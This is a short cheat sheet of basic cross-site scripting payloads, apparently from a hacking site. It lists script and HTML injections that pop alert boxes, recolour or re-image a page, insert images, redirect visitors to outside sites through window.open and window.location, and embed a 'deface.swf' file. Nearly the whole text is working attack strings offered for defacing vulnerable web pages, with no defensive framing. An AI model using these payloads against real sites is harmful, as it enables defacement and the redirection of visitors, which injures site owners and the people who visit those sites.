Basic XSS Injection codes

Alert box: <script>alert("something")</script>

Background color : <script>document.body.bgColor="red";</script>

Add an image : <IMG SRC="http://cdn.ph.upi.com/sv/i/UPI-7271366914383/2013/1/13669156289586/Judge-denies-FBIs-request-to-hack-a-computer.jpg">

Background image<script>document.body.background="http://cdn.ph.upi.com/sv/i/UPI-7271366914383/2013/1/13669156289586/Judge-denies-FBIs-request-to-hack-a-computer.jpg";</script>

Redirect to another site : <script>window.open( "http://www.zerozaku.com/" )</script>

Redirect webpage: <script>window.location="http://pastehtml.com/view/d6u4ezv3u.html";</script>

Add a flash video : <EMBED SRC="http://mywebsite.com/deface.swf"